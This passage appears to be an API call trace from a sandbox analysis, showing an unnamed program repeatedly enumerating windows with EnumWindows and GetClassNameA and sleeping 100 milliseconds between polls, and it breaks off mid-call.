[0219.468] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0219.468] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x6033c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x20040, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x10070, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] Sleep (dwMilliseconds=0x64) [0219.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0219.477] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0219.477] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0219.477] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0219.477] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.477] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.477] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.477] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.477] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.478] GetClassNameA (in: hWnd=0x10100, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0219.478] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.478] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0219.478] Sleep (dwMilliseconds=0x64) [0220.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.134] Sleep (dwMilliseconds=0x64) [0220.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.145] Sleep (dwMilliseconds=0x64) [0220.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.154] Sleep (dwMilliseconds=0x64) [0220.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.163] Sleep (dwMilliseconds=0x64) [0220.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.179] Sleep (dwMilliseconds=0x64) [0220.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.317] Sleep (dwMilliseconds=0x64) [0220.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.372] Sleep (dwMilliseconds=0x64) [0220.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.374] Sleep (dwMilliseconds=0x64) [0220.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.377] Sleep (dwMilliseconds=0x64) [0220.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.381] Sleep (dwMilliseconds=0x64) [0220.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.383] Sleep (dwMilliseconds=0x64) [0220.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.387] Sleep (dwMilliseconds=0x64) [0220.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.416] Sleep (dwMilliseconds=0x64) [0220.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.582] Sleep (dwMilliseconds=0x64) [0220.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.608] Sleep (dwMilliseconds=0x64) [0220.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.610] Sleep (dwMilliseconds=0x64) [0220.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.623] Sleep (dwMilliseconds=0x64) [0220.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.625] Sleep (dwMilliseconds=0x64) [0220.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.641] Sleep (dwMilliseconds=0x64) [0220.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.752] Sleep (dwMilliseconds=0x64) [0220.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.768] Sleep (dwMilliseconds=0x64) [0220.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.792] Sleep (dwMilliseconds=0x64) [0220.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.795] Sleep (dwMilliseconds=0x64) [0220.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.797] Sleep (dwMilliseconds=0x64) [0220.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.799] Sleep (dwMilliseconds=0x64) [0220.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.801] Sleep (dwMilliseconds=0x64) [0220.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.803] Sleep (dwMilliseconds=0x64) [0220.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.805] Sleep (dwMilliseconds=0x64) [0220.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.807] Sleep (dwMilliseconds=0x64) [0220.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.825] Sleep (dwMilliseconds=0x64) [0220.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.916] Sleep (dwMilliseconds=0x64) [0220.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.930] Sleep (dwMilliseconds=0x64) [0220.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.950] Sleep (dwMilliseconds=0x64) [0220.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.952] Sleep (dwMilliseconds=0x64) [0220.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.953] Sleep (dwMilliseconds=0x64) [0220.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.958] Sleep (dwMilliseconds=0x64) [0220.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.960] Sleep (dwMilliseconds=0x64) [0220.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.963] Sleep (dwMilliseconds=0x64) [0220.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.965] Sleep (dwMilliseconds=0x64) [0220.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.967] Sleep (dwMilliseconds=0x64) [0220.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.969] Sleep (dwMilliseconds=0x64) [0220.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.971] Sleep (dwMilliseconds=0x64) [0220.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.973] Sleep (dwMilliseconds=0x64) [0220.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.974] Sleep (dwMilliseconds=0x64) [0220.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.976] Sleep (dwMilliseconds=0x64) [0220.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0220.978] Sleep (dwMilliseconds=0x64) [0221.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.075] Sleep (dwMilliseconds=0x64) [0221.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.088] Sleep (dwMilliseconds=0x64) [0221.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.090] Sleep (dwMilliseconds=0x64) [0221.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.092] Sleep (dwMilliseconds=0x64) [0221.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.108] Sleep (dwMilliseconds=0x64) [0221.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.110] Sleep (dwMilliseconds=0x64) [0221.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.111] Sleep (dwMilliseconds=0x64) [0221.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.126] Sleep (dwMilliseconds=0x64) [0221.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.228] Sleep (dwMilliseconds=0x64) [0221.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.238] Sleep (dwMilliseconds=0x64) [0221.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.295] Sleep (dwMilliseconds=0x64) [0221.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.372] Sleep (dwMilliseconds=0x64) [0221.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.403] Sleep (dwMilliseconds=0x64) [0221.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.413] Sleep (dwMilliseconds=0x64) [0221.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.414] Sleep (dwMilliseconds=0x64) [0221.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.420] Sleep (dwMilliseconds=0x64) [0221.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.422] Sleep (dwMilliseconds=0x64) [0221.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.426] Sleep (dwMilliseconds=0x64) [0221.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.428] Sleep (dwMilliseconds=0x64) [0221.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.430] Sleep (dwMilliseconds=0x64) [0221.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.431] Sleep (dwMilliseconds=0x64) [0221.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.433] Sleep (dwMilliseconds=0x64) [0221.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.485] Sleep (dwMilliseconds=0x64) [0221.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.495] Sleep (dwMilliseconds=0x64) [0221.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.544] Sleep (dwMilliseconds=0x64) [0221.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.556] Sleep (dwMilliseconds=0x64) [0221.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.558] Sleep (dwMilliseconds=0x64) [0221.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.571] Sleep (dwMilliseconds=0x64) [0221.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.573] Sleep (dwMilliseconds=0x64) [0221.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.615] Sleep (dwMilliseconds=0x64) [0221.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.696] Sleep (dwMilliseconds=0x64) [0221.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.699] Sleep (dwMilliseconds=0x64) [0221.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.703] Sleep (dwMilliseconds=0x64) [0221.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.727] Sleep (dwMilliseconds=0x64) [0221.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.748] Sleep (dwMilliseconds=0x64) [0221.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.839] Sleep (dwMilliseconds=0x64) [0221.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.844] Sleep (dwMilliseconds=0x64) [0221.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.845] Sleep (dwMilliseconds=0x64) [0221.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.847] Sleep (dwMilliseconds=0x64) [0221.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.849] Sleep (dwMilliseconds=0x64) [0221.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.852] Sleep (dwMilliseconds=0x64) [0221.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.865] Sleep (dwMilliseconds=0x64) [0221.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.878] Sleep (dwMilliseconds=0x64) [0221.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.899] Sleep (dwMilliseconds=0x64) [0221.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.987] Sleep (dwMilliseconds=0x64) [0221.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0221.997] Sleep (dwMilliseconds=0x64) [0221.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.000] Sleep (dwMilliseconds=0x64) [0222.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.001] Sleep (dwMilliseconds=0x64) [0222.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.021] Sleep (dwMilliseconds=0x64) [0222.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.022] Sleep (dwMilliseconds=0x64) [0222.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.024] Sleep (dwMilliseconds=0x64) [0222.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.026] Sleep (dwMilliseconds=0x64) [0222.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.027] Sleep (dwMilliseconds=0x64) [0222.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.030] Sleep (dwMilliseconds=0x64) [0222.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.031] Sleep (dwMilliseconds=0x64) [0222.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.033] Sleep (dwMilliseconds=0x64) [0222.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.042] Sleep (dwMilliseconds=0x64) [0222.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.126] Sleep (dwMilliseconds=0x64) [0222.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.137] Sleep (dwMilliseconds=0x64) [0222.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.150] Sleep (dwMilliseconds=0x64) [0222.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.161] Sleep (dwMilliseconds=0x64) [0222.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.172] Sleep (dwMilliseconds=0x64) [0222.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.232] Sleep (dwMilliseconds=0x64) [0222.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.302] Sleep (dwMilliseconds=0x64) [0222.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.303] Sleep (dwMilliseconds=0x64) [0222.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.339] Sleep (dwMilliseconds=0x64) [0222.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.340] Sleep (dwMilliseconds=0x64) [0222.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.342] Sleep (dwMilliseconds=0x64) [0222.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.346] Sleep (dwMilliseconds=0x64) [0222.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.347] Sleep (dwMilliseconds=0x64) [0222.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.358] Sleep (dwMilliseconds=0x64) [0222.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.366] Sleep (dwMilliseconds=0x64) [0222.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.376] Sleep (dwMilliseconds=0x64) [0222.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.445] Sleep (dwMilliseconds=0x64) [0222.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.513] Sleep (dwMilliseconds=0x64) [0222.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.527] Sleep (dwMilliseconds=0x64) [0222.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.677] Sleep (dwMilliseconds=0x64) [0222.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.736] Sleep (dwMilliseconds=0x64) [0222.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.794] Sleep (dwMilliseconds=0x64) [0222.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.798] Sleep (dwMilliseconds=0x64) [0222.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.802] Sleep (dwMilliseconds=0x64) [0222.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.806] Sleep (dwMilliseconds=0x64) [0222.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.810] Sleep (dwMilliseconds=0x64) [0222.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.812] Sleep (dwMilliseconds=0x64) [0222.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.814] Sleep (dwMilliseconds=0x64) [0222.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.827] Sleep (dwMilliseconds=0x64) [0222.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.829] Sleep (dwMilliseconds=0x64) [0222.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.832] Sleep (dwMilliseconds=0x64) [0222.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.834] Sleep (dwMilliseconds=0x64) [0222.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.835] Sleep (dwMilliseconds=0x64) [0222.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.837] Sleep (dwMilliseconds=0x64) [0222.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.838] Sleep (dwMilliseconds=0x64) [0222.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.840] Sleep (dwMilliseconds=0x64) [0222.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.842] Sleep (dwMilliseconds=0x64) [0222.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.843] Sleep (dwMilliseconds=0x64) [0222.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.864] Sleep (dwMilliseconds=0x64) [0222.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.866] Sleep (dwMilliseconds=0x64) [0222.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.868] Sleep (dwMilliseconds=0x64) [0222.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.870] Sleep (dwMilliseconds=0x64) [0222.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.871] Sleep (dwMilliseconds=0x64) [0222.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.873] Sleep (dwMilliseconds=0x64) [0222.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.874] Sleep (dwMilliseconds=0x64) [0222.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.876] Sleep (dwMilliseconds=0x64) [0222.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.879] Sleep (dwMilliseconds=0x64) [0222.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.882] Sleep (dwMilliseconds=0x64) [0222.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.885] Sleep (dwMilliseconds=0x64) [0222.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.886] Sleep (dwMilliseconds=0x64) [0222.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.889] Sleep (dwMilliseconds=0x64) [0222.890] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.891] Sleep (dwMilliseconds=0x64) [0222.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.892] Sleep (dwMilliseconds=0x64) [0222.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.894] Sleep (dwMilliseconds=0x64) [0222.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.896] Sleep (dwMilliseconds=0x64) [0222.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.897] Sleep (dwMilliseconds=0x64) [0222.900] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.900] Sleep (dwMilliseconds=0x64) [0222.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.902] Sleep (dwMilliseconds=0x64) [0222.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.904] Sleep (dwMilliseconds=0x64) [0222.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.907] Sleep (dwMilliseconds=0x64) [0222.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.908] Sleep (dwMilliseconds=0x64) [0222.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.911] Sleep (dwMilliseconds=0x64) [0222.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.925] Sleep (dwMilliseconds=0x64) [0222.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.927] Sleep (dwMilliseconds=0x64) [0222.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.929] Sleep (dwMilliseconds=0x64) [0222.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.931] Sleep (dwMilliseconds=0x64) [0222.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.933] Sleep (dwMilliseconds=0x64) [0222.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.934] Sleep (dwMilliseconds=0x64) [0222.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.936] Sleep (dwMilliseconds=0x64) [0222.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.938] Sleep (dwMilliseconds=0x64) [0222.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.940] Sleep (dwMilliseconds=0x64) [0222.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.941] Sleep (dwMilliseconds=0x64) [0222.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.943] Sleep (dwMilliseconds=0x64) [0222.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.945] Sleep (dwMilliseconds=0x64) [0222.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.948] Sleep (dwMilliseconds=0x64) [0222.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.950] Sleep (dwMilliseconds=0x64) [0222.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.951] Sleep (dwMilliseconds=0x64) [0222.953] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.953] Sleep (dwMilliseconds=0x64) [0222.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.955] Sleep (dwMilliseconds=0x64) [0222.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.956] Sleep (dwMilliseconds=0x64) [0222.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.959] Sleep (dwMilliseconds=0x64) [0222.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.961] Sleep (dwMilliseconds=0x64) [0222.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.963] Sleep (dwMilliseconds=0x64) [0222.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.965] Sleep (dwMilliseconds=0x64) [0222.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.967] Sleep (dwMilliseconds=0x64) [0222.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.969] Sleep (dwMilliseconds=0x64) [0222.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.970] Sleep (dwMilliseconds=0x64) [0222.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.972] Sleep (dwMilliseconds=0x64) [0222.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.974] Sleep (dwMilliseconds=0x64) [0222.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.976] Sleep (dwMilliseconds=0x64) [0222.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.978] Sleep (dwMilliseconds=0x64) [0222.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.979] Sleep (dwMilliseconds=0x64) [0222.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.981] Sleep (dwMilliseconds=0x64) [0222.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.984] Sleep (dwMilliseconds=0x64) [0222.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.986] Sleep (dwMilliseconds=0x64) [0222.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.987] Sleep (dwMilliseconds=0x64) [0222.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.989] Sleep (dwMilliseconds=0x64) [0222.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.991] Sleep (dwMilliseconds=0x64) [0222.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.993] Sleep (dwMilliseconds=0x64) [0222.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.995] Sleep (dwMilliseconds=0x64) [0222.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.996] Sleep (dwMilliseconds=0x64) [0222.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0222.998] Sleep (dwMilliseconds=0x64) [0223.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.000] Sleep (dwMilliseconds=0x64) [0223.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.020] Sleep (dwMilliseconds=0x64) [0223.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.022] Sleep (dwMilliseconds=0x64) [0223.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.035] Sleep (dwMilliseconds=0x64) [0223.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.037] Sleep (dwMilliseconds=0x64) [0223.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.039] Sleep (dwMilliseconds=0x64) [0223.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.041] Sleep (dwMilliseconds=0x64) [0223.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.042] Sleep (dwMilliseconds=0x64) [0223.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.044] Sleep (dwMilliseconds=0x64) [0223.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.046] Sleep (dwMilliseconds=0x64) [0223.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.048] Sleep (dwMilliseconds=0x64) [0223.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.050] Sleep (dwMilliseconds=0x64) [0223.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0223.053] Sleep (dwMilliseconds=0x64) [0223.054] EnumWindows (lpEnumFunc=0x423dd0, 